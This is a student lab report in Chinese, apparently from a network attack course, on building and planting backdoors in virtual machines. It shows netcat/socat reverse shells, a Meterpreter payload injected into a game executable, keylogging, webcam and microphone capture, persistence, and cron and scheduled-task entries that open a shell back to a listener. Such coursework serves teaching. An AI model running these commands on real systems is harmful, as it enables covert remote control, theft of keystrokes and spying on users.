2017-2018-2 20155228 《网络对抗技术》 实验二:后门原理与实践

2017-2018-2 20155228 《网络对抗技术》 实验二:后门原理与实践

实验内容

  1. 使用netcat获取主机操作Shell,cron启动 (0.5分)

  2. 使用socat获取主机操作Shell, 任务计划启动 (0.5分)

  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

  5. 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。


基础问题回答

1. 例举你能想到的一个后门进入到你系统中的可能方式?

攻击者对网络上安全性较差的网站发起攻击使其成为挂马网站,受害者访问挂马网站时会被引导至木马网站;

如果受害者的浏览器存在漏洞,木马就会在不被察觉的情况下下载到受害者的计算机中。

2. 例举你知道的后门如何启动起来(win及linux)的方式?

  • 后门程序会将其添加到开机自动启动程序列表中,使其开机时自启动。

  • 后门程序也会将其与其他程序进行关联,以关联启动的方式进行启动。

  • 后门程序还会伪装成为正常程序被用户启动。

3. Meterpreter有哪些给你印象深刻的功能?

调用摄像头和麦克风算是很有趣的功能,但是击键记录是更具有威胁性的功能,击键记录可以获取受害者的重要信息,比如账户口令或者其他敏感数据。

4. 如何发现自己有系统有没有被安装后门?

  • 通过对防火墙和入侵检测系统设置严格的安全策略监视系统中进程的行为,如果发现进程的异常行为就可以证明后门的存在。

  • 通过检查进程的权限、行为、资源占用情况等判断是否有后门运行的进程。


实验总结与体会

这次实验研究的是后门的原理和应用,而我对后门的理解是:不走正常流程访问系统的通道。

后门可以是独立的、专门的后门程序,也可以存在于编译器,应用程序甚至操作系统中。

这次实验真的是非常意思,尽管操作起来并不是很复杂,主要是四个步骤:

  1. 编写代码构建后门

  2. 将后门植入到受害者的计算机中

  3. 运行后门程序

  4. 防止后门被杀毒软件和防火墙发现

(当然本次实验在虚拟机环境中完成没有杀毒软件的干扰,

本次实验所使用的后门也瞒不过杀毒软件,我把毒化程序放到虚拟机与主机的共享文件夹里马上就被360给清理掉了)

实验指导书写得很详细,照着一步一步做就可以顺利得到结果。实验过程中遇到了一些意想不到的问题,好在最后都得到了解决。

值得一提的是,这次实验中kali虚拟机和windows虚拟机是在NAT网络下实现交互的,

有点奇怪的是kali虚拟机在NAT网络模式下没法上网,只有把改为桥接模式才行,

而windows虚拟机在桥接模式下又不能上网了,这就很气人了。

virtualbox的网络地址转换NAT模式和NAT网络模式是两个不同的模式,

诡异的是在NAT模式下,kali虚拟机和windows虚拟机自动分配的地址都是一样的,手工配置IP地址还是会有问题,ping肯定是ping不通的。

最后还是用的NAT网络模式,两个虚拟机的IP地址会不一样。

kali虚拟机没法上网无所谓了,只要能跟windows虚拟机连上就行了,两个计算机的文件传输用netcat实现。


实验指导

实践过程记录

1. 用netcat获取远程主机的Shell

Win获得Linux Shell

  1. windows打开监听

  2. Linux反弹连接win

  3. windows下获得一个linux shell,可运行任何指令,如ls

Linux获得Win Shell

  1. Linux运行监听指令

  2. Windows反弹连接Linux

  3. Linux下看到Windows的命令提示

netcat传输数据

  1. Start by using nc to listen on a specific port, with output captured into a file:

  2. Using a second machine, connect to the listening nc process, feeding it the file which is to be transferred:

  3. After the file has been transferred, the connection will close automatically.

使用socat获取主机操作Shell, 任务计划启动

2. Meterpreter

2.1. 生成的KiTTy_backdoor.exe,复制到Win

我做实验时用的是IGI.exe,这是一个类似于绝地求生的单机游戏,可以用来训练吃鸡,后门会被写到这个文件中

可以用其他文件代替,不论用哪个可执行文件都可以,但当然需要复制到linux下了

参数说明:

-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件

生成的文件当然需要复制到windows中了,当然十之八九杀毒软件会报警并删除该文件,因为是后门嘛,我用的是虚拟机,没有杀毒软件。

2.2. MSF打开监听进程

msfconsole

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > show options

msf exploit(handler) > set LHOST 10.10.210.4

这就很奇怪了,我已经在上面设置了tcp,但是port却是4444而非443,没关系再改一下就好了

msf exploit(handler) > set LPORT 443

msf exploit(handler) > exploit 

2.3. 在Win平台双击运行IGI2.exe和Meterpreter常用功能

meterpreter > dir

基本功能和获取Windows命令行界面
meterpreter > help

meterpreter > shell

获取ruby交互界面
meterpreter > irb

进程迁移
meterpreter > ps
meterpreter > migrate 2648
meterpreter > getpid

抓图和获取击键记录

获取击键记录是获取当前进程的击键记录,这里我又将进程迁移到记事本notepad.exe上

meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump

使用名为checkvm的POST检查被控机是否是虚拟机
meterpreter > info post/windows/gather/checkvm
meterpreter > run post/windows/gather/checkvm 

试试键盘记录
meterpreter > run post/windows/capture/keylog_recorder 

CTL+C

安装Meterpreter(Persistence)到目标机
meterpreter > run persistence -U -i 5 -p 443 -r 192.168.20.136

提权

如果要提权,需要在win上以管理员身份运行毒化程序才能提权,否则会失败

拍照和录音

在virtualbox的虚拟机上要调用摄像头的话,要到官网下载virtualbox扩展包,注意一定要下载对应版本的扩展包。

如果virtualbox版本比较老,可以在old_build里面找

安装扩展包成功后在管理->全局设定->扩展可以看到。

打开虚拟机->设备->摄像头

摄像头即可使用

录音的话,可以加个-d指定录音秒数

record_mic -d 30

3. 后门启动

3.1. Windows的任务计划

Windows->控制面板->管理工具->任务计划程序->新建任务计划->触发器

操作->程序或脚本

c:progaramfiles
cat
cat.exe

操作->添加参数

-e cmd.exe 10.10.210.4 5228

3.2. Linux的定时任务Cron

crontab指令增加一条定时任务,"-e"表示编辑。

crontab -e

因为是第一次编辑,故提示选择编辑器

Choose 1-5 [1]: 3

打开文档后在最后一行代码下面再填一行代码

crontab: installing new crontab
43 * * * * /bin/netcat 10.10.210.5 5228 -e /bin/sh

保存、退出后配置即生效

PSP时间统计

步骤 耗时 百分比
需求分析 20min 8%
设计 40min 16%
代码实现 120min 50%
测试 20min 8%
总结分析 40min 16%
原文地址:https://www.cnblogs.com/besti20155228/p/8667084.html